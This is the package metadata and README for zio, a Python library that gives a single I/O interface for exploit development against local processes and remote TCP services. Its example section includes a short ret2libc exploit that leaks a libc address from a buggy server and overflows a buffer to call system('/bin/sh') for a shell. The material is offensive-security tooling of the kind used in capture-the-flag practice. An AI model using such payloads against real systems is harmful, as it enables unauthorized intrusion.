Metadata-Version: 1.1
Name: zio
Version: 1.0.2
Summary: Unified io lib for pwning development written in python.
Home-page: https://github.com/zTrix/zio
Author: Wenlei Zhu
Author-email: i@ztrix.me
License: LICENSE.txt
Description: 
        zio
        ====
        
        `zio <https://github.com/zTrix/zio>`_ is an easy-to-use io library for pwning development, supporting an unified interface for local process pwning and TCP socket io.
        
        The primary goal of `zio <https://github.com/zTrix/zio>`_ is to provide unified io interface between process stdin/stdout and TCP socket io. So when you have done local pwning development, you only need to change the io target to pwn the remote server.
        
        The following code illustrate the basic idea.
        
        .. code:: python
        
            from zio import *
        
            if you_are_debugging_local_server_binary:
                io = zio('./buggy-server')            # used for local pwning development
            elif you_are_pwning_remote_server:
                io = zio(('1.2.3.4', 1337))           # used to exploit remote service
        
            io.write(your_awesome_ropchain_or_shellcode)
            # hey, we got an interactive shell!
            io.interact()
        
        License
        =======
        
        `zio <https://github.com/zTrix/zio>`_ use `SATA License (Star And Thank Author License) <https://github.com/zTrix/sata-license>`_, so you have to star this project before using. Read the LICENSE.txt carefully.
        
        Dependency
        ==========
        
         - Linux or OSX
         - Python 2.6, 2.7
         - termcolor (optional, for color support)
            - $ pip install termcolor
        
        Installation
        ============
        
        This is a single-file project so in most cases you can just download `zio.py <https://raw.githubusercontent.com/zTrix/zio/master/zio.py>`_ and start using.
        
        pip is also supported, so you can also install by running 
        
        .. code:: bash
        
            $ pip2 install termcolor # for color support, optional
            $ pip2 install zio
        
        Examples
        ========
         
        .. code:: python
        
            from zio import *
            io = zio('./buggy-server')
            # io = zio((pwn.server, 1337))
        
            for i in xrange(1337):
                io.writeline('add ' + str(i))
                io.read_until('>>')
        
            io.write("add TFpdp1gL4Qu4aVCHUF6AY5Gs7WKCoTYzPv49QSa\ninfo " + "A" * 49 + "\nshow\n")
            io.read_until('A' * 49)
            libc_base = l32(io.read(4)) - 0x1a9960
            libc_system = libc_base + 0x3ea70
            libc_binsh = libc_base + 0x15fcbf
            payload = 'A' * 64 + l32(libc_system) + 'JJJJ' + l32(libc_binsh)
            io.write('info ' + payload + "\nshow\nexit\n")
            io.read_until(">>")
            # We've got a shell;-)
            io.interact()
        
        Document
        ========
        
        To be added... Please wait...
        
        about line break and carriage return
        
        Just don't read '\n' or '\r', use `readline()` instead
        
        Thanks (Also references)
        ========================
        
         - `pexpect <https://github.com/pexpect/pexpect>`_ I borrowed a lot of code from here
         - `sh <https://github.com/amoffat/sh>`_
         - python subprocess module
         - TTY related
            - http://linux.die.net/man/3/cfmakeraw
            - http://marcocorvi.altervista.org/games/lkpe/tty/tty.htm
            - http://www.linusakesson.net/programming/tty/
        
        
        
Keywords: zio pwning io expect-like
Platform: UNKNOWN
Classifier: Development Status :: 5 - Production/Stable
Classifier: Environment :: Console
Classifier: Intended Audience :: Developers
Classifier: Operating System :: POSIX
Classifier: Operating System :: MacOS :: MacOS X
Classifier: Programming Language :: Python
Classifier: Programming Language :: Python :: 2.6
Classifier: Programming Language :: Python :: 2.7
Classifier: Topic :: Software Development
Classifier: Topic :: System
Classifier: Topic :: Terminals
Classifier: Topic :: Utilities
